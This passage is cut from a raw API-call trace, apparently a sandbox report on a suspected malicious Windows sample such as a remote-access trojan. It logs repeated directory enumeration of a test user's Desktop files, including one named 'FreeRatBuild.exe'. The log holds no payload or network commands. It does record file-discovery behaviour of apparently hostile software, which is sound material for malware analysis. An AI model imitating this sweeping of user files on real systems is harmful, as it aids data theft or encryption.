ftLastWriteTime.dwHighDateTime=0x1d99d04, nFileSizeHigh=0x0, nFileSizeLow=0x13889, dwReserved0=0x0, dwReserved1=0x0, cFileName="8enrr8.png", cAlternateFileName="")) returned 1 [0220.734] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9a0170, ftCreationTime.dwHighDateTime=0x1d99bdb, ftLastAccessTime.dwLowDateTime=0xe7aa0990, ftLastAccessTime.dwHighDateTime=0x1d99ce3, ftLastWriteTime.dwLowDateTime=0xe7aa0990, ftLastWriteTime.dwHighDateTime=0x1d99ce3, nFileSizeHigh=0x0, nFileSizeLow=0x64a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AedxpY_CIG.swf", cAlternateFileName="AEDXPY~1.SWF")) returned 1 [0220.915] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bce9980, ftCreationTime.dwHighDateTime=0x1d998b1, ftLastAccessTime.dwLowDateTime=0x6d797cd0, ftLastAccessTime.dwHighDateTime=0x1d99b69, ftLastWriteTime.dwLowDateTime=0x6d797cd0, ftLastWriteTime.dwHighDateTime=0x1d99b69, nFileSizeHigh=0x0, nFileSizeLow=0x7317, dwReserved0=0x0, dwReserved1=0x0, cFileName="axt23ZzM5D K9g.m4a", cAlternateFileName="AXT23Z~1.M4A")) returned 1 [0220.919] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276bdaa0, ftCreationTime.dwHighDateTime=0x1d990f4, ftLastAccessTime.dwLowDateTime=0xc1b98a10, ftLastAccessTime.dwHighDateTime=0x1d99100, ftLastWriteTime.dwLowDateTime=0xc1b98a10, ftLastWriteTime.dwHighDateTime=0x1d99100, nFileSizeHigh=0x0, nFileSizeLow=0x1668f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aX_bSONmWij6KgvXXOBr.pdf", cAlternateFileName="AX_BSO~1.PDF")) returned 1 [0220.928] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6b4d0, ftCreationTime.dwHighDateTime=0x1d99bdd, ftLastAccessTime.dwLowDateTime=0x4d953c20, ftLastAccessTime.dwHighDateTime=0x1d99c21, ftLastWriteTime.dwLowDateTime=0x4d953c20, ftLastWriteTime.dwHighDateTime=0x1d99c21, nFileSizeHigh=0x0, nFileSizeLow=0x18b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BYMZ1Q4o-NB.rtf", cAlternateFileName="BYMZ1Q~1.RTF")) returned 1 [0220.928] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.988] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9cd2160, ftCreationTime.dwHighDateTime=0x1d9959b, ftLastAccessTime.dwLowDateTime=0x11dd3060, ftLastAccessTime.dwHighDateTime=0x1d99b14, ftLastWriteTime.dwLowDateTime=0x11dd3060, ftLastWriteTime.dwHighDateTime=0x1d99b14, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="e6FPibuOCfvW4pbS-kY.mp4", cAlternateFileName="E6FPIB~1.MP4")) returned 1 [0220.996] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d69a70, ftCreationTime.dwHighDateTime=0x1d99bb0, ftLastAccessTime.dwLowDateTime=0x277ced20, ftLastAccessTime.dwHighDateTime=0x1d99c22, ftLastWriteTime.dwLowDateTime=0x277ced20, ftLastWriteTime.dwHighDateTime=0x1d99c22, nFileSizeHigh=0x0, nFileSizeLow=0x411d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETTahV6NT.png", cAlternateFileName="ETTAHV~1.PNG")) returned 1 [0221.015] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65e0890, ftCreationTime.dwHighDateTime=0x1d999d7, ftLastAccessTime.dwLowDateTime=0xaf2006f0, ftLastAccessTime.dwHighDateTime=0x1d99aff, ftLastWriteTime.dwLowDateTime=0xaf2006f0, ftLastWriteTime.dwHighDateTime=0x1d99aff, nFileSizeHigh=0x0, nFileSizeLow=0x5bc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fQdRvqLI X.m4a", cAlternateFileName="FQDRVQ~1.M4A")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8b24a00, ftCreationTime.dwHighDateTime=0x1d9eb0b, ftLastAccessTime.dwLowDateTime=0xb94ae080, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xc7920000, ftLastWriteTime.dwHighDateTime=0x1d9eafd, nFileSizeHigh=0x0, nFileSizeLow=0x23e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="FreeRatBuild.exe", cAlternateFileName="FREERA~1.EXE")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x487db10, ftCreationTime.dwHighDateTime=0x1d992f7, ftLastAccessTime.dwLowDateTime=0x7edb340, ftLastAccessTime.dwHighDateTime=0x1d99c77, ftLastWriteTime.dwLowDateTime=0x7edb340, ftLastWriteTime.dwHighDateTime=0x1d99c77, nFileSizeHigh=0x0, nFileSizeLow=0xbd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsLjCd0MyojuNTOIxMc0.m4a", cAlternateFileName="FSLJCD~1.M4A")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51e01a0, ftCreationTime.dwHighDateTime=0x1d991b2, ftLastAccessTime.dwLowDateTime=0x3d1225d0, ftLastAccessTime.dwHighDateTime=0x1d99c70, ftLastWriteTime.dwLowDateTime=0x3d1225d0, ftLastWriteTime.dwHighDateTime=0x1d99c70, nFileSizeHigh=0x0, nFileSizeLow=0x8c3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="g-g0pTD9FfxGG.gif", cAlternateFileName="G-G0PT~1.GIF")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9516b190, ftCreationTime.dwHighDateTime=0x1d99b7d, ftLastAccessTime.dwLowDateTime=0x63461d10, ftLastAccessTime.dwHighDateTime=0x1d99cc5, ftLastWriteTime.dwLowDateTime=0x63461d10, ftLastWriteTime.dwHighDateTime=0x1d99cc5, nFileSizeHigh=0x0, nFileSizeLow=0x2997, dwReserved0=0x0, dwReserved1=0x0, cFileName="g0tXj3X.png", cAlternateFileName="")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf2a2470, ftCreationTime.dwHighDateTime=0x1d99663, ftLastAccessTime.dwLowDateTime=0xc0fdd520, ftLastAccessTime.dwHighDateTime=0x1d99959, ftLastWriteTime.dwLowDateTime=0xc0fdd520, ftLastWriteTime.dwHighDateTime=0x1d99959, nFileSizeHigh=0x0, nFileSizeLow=0x12c1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gd SqBQ7o5z-lrjhJI9.mkv", cAlternateFileName="GDSQBQ~1.MKV")) returned 1 [0221.016] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc60ff720, ftCreationTime.dwHighDateTime=0x1d99c1d, ftLastAccessTime.dwLowDateTime=0xe9c1190, ftLastAccessTime.dwHighDateTime=0x1d99cf5, ftLastWriteTime.dwLowDateTime=0xe9c1190, ftLastWriteTime.dwHighDateTime=0x1d99cf5, nFileSizeHigh=0x0, nFileSizeLow=0xced5, dwReserved0=0x0, dwReserved1=0x0, cFileName="iuV2-ScavRDqDUUUcH4.avi", cAlternateFileName="IUV2-S~1.AVI")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd17fd860, ftCreationTime.dwHighDateTime=0x1d98fa6, ftLastAccessTime.dwLowDateTime=0xf4c77b60, ftLastAccessTime.dwHighDateTime=0x1d9971d, ftLastWriteTime.dwLowDateTime=0xf4c77b60, ftLastWriteTime.dwHighDateTime=0x1d9971d, nFileSizeHigh=0x0, nFileSizeLow=0x1600e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KlU6fJIoveUcDi-0V0Q.pdf", cAlternateFileName="KLU6FJ~1.PDF")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fedfd20, ftCreationTime.dwHighDateTime=0x1d99c44, ftLastAccessTime.dwLowDateTime=0xf7d3fc60, ftLastAccessTime.dwHighDateTime=0x1d99ce1, ftLastWriteTime.dwLowDateTime=0xf7d3fc60, ftLastWriteTime.dwHighDateTime=0x1d99ce1, nFileSizeHigh=0x0, nFileSizeLow=0x10dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kNuyI6w1_gX0wdKI-S.gif", cAlternateFileName="KNUYI6~1.GIF")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd46d5b40, ftCreationTime.dwHighDateTime=0x1d99af2, ftLastAccessTime.dwLowDateTime=0x102dbb90, ftLastAccessTime.dwHighDateTime=0x1d99b28, ftLastWriteTime.dwLowDateTime=0x102dbb90, ftLastWriteTime.dwHighDateTime=0x1d99b28, nFileSizeHigh=0x0, nFileSizeLow=0xb0ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEFEDKSqfiJ0CHm6DT.gif", cAlternateFileName="MEFEDK~1.GIF")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f429c90, ftCreationTime.dwHighDateTime=0x1d9979d, ftLastAccessTime.dwLowDateTime=0x2428eac0, ftLastAccessTime.dwHighDateTime=0x1d998ee, ftLastWriteTime.dwLowDateTime=0x2428eac0, ftLastWriteTime.dwHighDateTime=0x1d998ee, nFileSizeHigh=0x0, nFileSizeLow=0xb999, dwReserved0=0x0, dwReserved1=0x0, cFileName="oIb2o.bmp", cAlternateFileName="")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2f2d70, ftCreationTime.dwHighDateTime=0x1d9923e, ftLastAccessTime.dwLowDateTime=0x1ecf6f90, ftLastAccessTime.dwHighDateTime=0x1d99727, ftLastWriteTime.dwLowDateTime=0x1ecf6f90, ftLastWriteTime.dwHighDateTime=0x1d99727, nFileSizeHigh=0x0, nFileSizeLow=0x25c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RD8KjrlZkPUIz3tqvIv.flv", cAlternateFileName="RD8KJR~1.FLV")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a70ca0, ftCreationTime.dwHighDateTime=0x1d9936c, ftLastAccessTime.dwLowDateTime=0x6d195ec0, ftLastAccessTime.dwHighDateTime=0x1d999e5, ftLastWriteTime.dwLowDateTime=0x6d195ec0, ftLastWriteTime.dwHighDateTime=0x1d999e5, nFileSizeHigh=0x0, nFileSizeLow=0x12563, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdiE9q6J8EMfapMAp9L.mkv", cAlternateFileName="RDIE9Q~1.MKV")) returned 1 [0221.017] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9a00b20, ftCreationTime.dwHighDateTime=0x1d99b4c, ftLastAccessTime.dwLowDateTime=0xffa3ea70, ftLastAccessTime.dwHighDateTime=0x1d99c66, ftLastWriteTime.dwLowDateTime=0xffa3ea70, ftLastWriteTime.dwHighDateTime=0x1d99c66, nFileSizeHigh=0x0, nFileSizeLow=0x11ece, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rg5hE.png", cAlternateFileName="")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47ac770, ftCreationTime.dwHighDateTime=0x1d99498, ftLastAccessTime.dwLowDateTime=0x12640220, ftLastAccessTime.dwHighDateTime=0x1d99a9c, ftLastWriteTime.dwLowDateTime=0x12640220, ftLastWriteTime.dwHighDateTime=0x1d99a9c, nFileSizeHigh=0x0, nFileSizeLow=0x12c41, dwReserved0=0x0, dwReserved1=0x0, cFileName="sDcZ0rZQ.avi", cAlternateFileName="")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7090ae80, ftCreationTime.dwHighDateTime=0x1d99861, ftLastAccessTime.dwLowDateTime=0xb45e42a0, ftLastAccessTime.dwHighDateTime=0x1d99afd, ftLastWriteTime.dwLowDateTime=0xb45e42a0, ftLastWriteTime.dwHighDateTime=0x1d99afd, nFileSizeHigh=0x0, nFileSizeLow=0xa02a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwF2GBdXpXUl-VRUjND.mp3", cAlternateFileName="SWF2GB~1.MP3")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa596e210, ftCreationTime.dwHighDateTime=0x1d98f43, ftLastAccessTime.dwLowDateTime=0x9cd419e0, ftLastAccessTime.dwHighDateTime=0x1d991be, ftLastWriteTime.dwLowDateTime=0x9cd419e0, ftLastWriteTime.dwHighDateTime=0x1d991be, nFileSizeHigh=0x0, nFileSizeLow=0xa2fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Umve5gDV.ppt", cAlternateFileName="")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe005b400, ftCreationTime.dwHighDateTime=0x1d998ab, ftLastAccessTime.dwLowDateTime=0x50840650, ftLastAccessTime.dwHighDateTime=0x1d99cdf, ftLastWriteTime.dwLowDateTime=0x50840650, ftLastWriteTime.dwHighDateTime=0x1d99cdf, nFileSizeHigh=0x0, nFileSizeLow=0xf18d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vn8ckr6.avi", cAlternateFileName="")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6960e730, ftCreationTime.dwHighDateTime=0x1d990bc, ftLastAccessTime.dwLowDateTime=0x5d353e40, ftLastAccessTime.dwHighDateTime=0x1d994a7, ftLastWriteTime.dwLowDateTime=0x5d353e40, ftLastWriteTime.dwHighDateTime=0x1d994a7, nFileSizeHigh=0x0, nFileSizeLow=0xa061, dwReserved0=0x0, dwReserved1=0x0, cFileName="VrZT9hC.wav", cAlternateFileName="")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aa10240, ftCreationTime.dwHighDateTime=0x1d98cb9, ftLastAccessTime.dwLowDateTime=0x4d7ea5e0, ftLastAccessTime.dwHighDateTime=0x1d9974a, ftLastWriteTime.dwLowDateTime=0x4d7ea5e0, ftLastWriteTime.dwHighDateTime=0x1d9974a, nFileSizeHigh=0x0, nFileSizeLow=0x1117b, dwReserved0=0x0, dwReserved1=0x0, cFileName="xwHAL ufHL2b.rtf", cAlternateFileName="XWHALU~1.RTF")) returned 1 [0221.018] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700a0fe0, ftCreationTime.dwHighDateTime=0x1d99c73, ftLastAccessTime.dwLowDateTime=0x127100a0, ftLastAccessTime.dwHighDateTime=0x1d99cf0, ftLastWriteTime.dwLowDateTime=0x127100a0, ftLastWriteTime.dwHighDateTime=0x1d99cf0, nFileSizeHigh=0x0, nFileSizeLow=0x4105, dwReserved0=0x0, dwReserved1=0x0, cFileName="YliBXp.bmp", cAlternateFileName="")) returned 1 [0221.019] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa357be60, ftCreationTime.dwHighDateTime=0x1d98ebd, ftLastAccessTime.dwLowDateTime=0x98c62380, ftLastAccessTime.dwHighDateTime=0x1d997e4, ftLastWriteTime.dwLowDateTime=0x98c62380, ftLastWriteTime.dwHighDateTime=0x1d997e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zlUG", cAlternateFileName="")) returned 1 [0221.019] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c14c00, ftCreationTime.dwHighDateTime=0x1d994f8, ftLastAccessTime.dwLowDateTime=0x3f92aa10, ftLastAccessTime.dwHighDateTime=0x1d99c0b, ftLastWriteTime.dwLowDateTime=0x3f92aa10, ftLastWriteTime.dwHighDateTime=0x1d99c0b, nFileSizeHigh=0x0, nFileSizeLow=0xd52c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_ESzBLrdaGtAmnb.m4a", cAlternateFileName="_ESZBL~1.M4A")) returned 1 [0221.019] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.019] FindClose (in: hFindFile=0x1d1f4690 | out: hFindFile=0x1d1f4690) returned 1 [0221.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0221.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0221.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0221.019] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop", lpFilePart=0x0) returned 0x1d [0221.020] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4bd0 [0221.020] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xd7e2dd29, ftLastAccessTime.dwHighDateTime=0x1d9eb0b, ftLastWriteTime.dwLowDateTime=0xd7e2dd29, ftLastWriteTime.dwHighDateTime=0x1d9eb0b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.020] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02e1e40, ftCreationTime.dwHighDateTime=0x1d98e10, ftLastAccessTime.dwLowDateTime=0x9c989b00, ftLastAccessTime.dwHighDateTime=0x1d99c94, ftLastWriteTime.dwLowDateTime=0x9c989b00, ftLastWriteTime.dwHighDateTime=0x1d99c94, nFileSizeHigh=0x0, nFileSizeLow=0x94b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0BN4V-0Cj3duCY.m4a", cAlternateFileName="0BN4V-~1.M4A")) returned 1 [0221.020] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbe775e0, ftCreationTime.dwHighDateTime=0x1d99cee, ftLastAccessTime.dwLowDateTime=0xb15ef280, ftLastAccessTime.dwHighDateTime=0x1d99d04, ftLastWriteTime.dwLowDateTime=0xb15ef280, ftLastWriteTime.dwHighDateTime=0x1d99d04, nFileSizeHigh=0x0, nFileSizeLow=0x13889, dwReserved0=0x0, dwReserved1=0x0, cFileName="8enrr8.png", cAlternateFileName="")) returned 1 [0221.020] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f9a0170, ftCreationTime.dwHighDateTime=0x1d99bdb, ftLastAccessTime.dwLowDateTime=0xe7aa0990, ftLastAccessTime.dwHighDateTime=0x1d99ce3, ftLastWriteTime.dwLowDateTime=0xe7aa0990, ftLastWriteTime.dwHighDateTime=0x1d99ce3, nFileSizeHigh=0x0, nFileSizeLow=0x64a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AedxpY_CIG.swf", cAlternateFileName="AEDXPY~1.SWF")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bce9980, ftCreationTime.dwHighDateTime=0x1d998b1, ftLastAccessTime.dwLowDateTime=0x6d797cd0, ftLastAccessTime.dwHighDateTime=0x1d99b69, ftLastWriteTime.dwLowDateTime=0x6d797cd0, ftLastWriteTime.dwHighDateTime=0x1d99b69, nFileSizeHigh=0x0, nFileSizeLow=0x7317, dwReserved0=0x0, dwReserved1=0x0, cFileName="axt23ZzM5D K9g.m4a", cAlternateFileName="AXT23Z~1.M4A")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276bdaa0, ftCreationTime.dwHighDateTime=0x1d990f4, ftLastAccessTime.dwLowDateTime=0xc1b98a10, ftLastAccessTime.dwHighDateTime=0x1d99100, ftLastWriteTime.dwLowDateTime=0xc1b98a10, ftLastWriteTime.dwHighDateTime=0x1d99100, nFileSizeHigh=0x0, nFileSizeLow=0x1668f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aX_bSONmWij6KgvXXOBr.pdf", cAlternateFileName="AX_BSO~1.PDF")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6b4d0, ftCreationTime.dwHighDateTime=0x1d99bdd, ftLastAccessTime.dwLowDateTime=0x4d953c20, ftLastAccessTime.dwHighDateTime=0x1d99c21, ftLastWriteTime.dwLowDateTime=0x4d953c20, ftLastWriteTime.dwHighDateTime=0x1d99c21, nFileSizeHigh=0x0, nFileSizeLow=0x18b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="BYMZ1Q4o-NB.rtf", cAlternateFileName="BYMZ1Q~1.RTF")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x435fd682, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9cd2160, ftCreationTime.dwHighDateTime=0x1d9959b, ftLastAccessTime.dwLowDateTime=0x11dd3060, ftLastAccessTime.dwHighDateTime=0x1d99b14, ftLastWriteTime.dwLowDateTime=0x11dd3060, ftLastWriteTime.dwHighDateTime=0x1d99b14, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="e6FPibuOCfvW4pbS-kY.mp4", cAlternateFileName="E6FPIB~1.MP4")) returned 1 [0221.021] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d69a70, ftCreationTime.dwHighDateTime=0x1d99bb0, ftLastAccessTime.dwLowDateTime=0x277ced20, ftLastAccessTime.dwHighDateTime=0x1d99c22, ftLastWriteTime.dwLowDateTime=0x277ced20, ftLastWriteTime.dwHighDateTime=0x1d99c22, nFileSizeHigh=0x0, nFileSizeLow=0x411d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETTahV6NT.png", cAlternateFileName="ETTAHV~1.PNG")) returned 1 [0221.022] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc65e0890, ftCreationTime.dwHighDateTime=0x1d999d7, ftLastAccessTime.dwLowDateTime=0xaf2006f0, ftLastAccessTime.dwHighDateTime=0x1d99aff, ftLastWriteTime.dwLowDateTime=0xaf2006f0, ftLastWriteTime.dwHighDateTime=0x1d99aff, nFileSizeHigh=0x0, nFileSizeLow=0x5bc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fQdRvqLI X.m4a", cAlternateFileName="FQDRVQ~1.M4A")) returned 1 [0221.022] FindNextFileW (in: 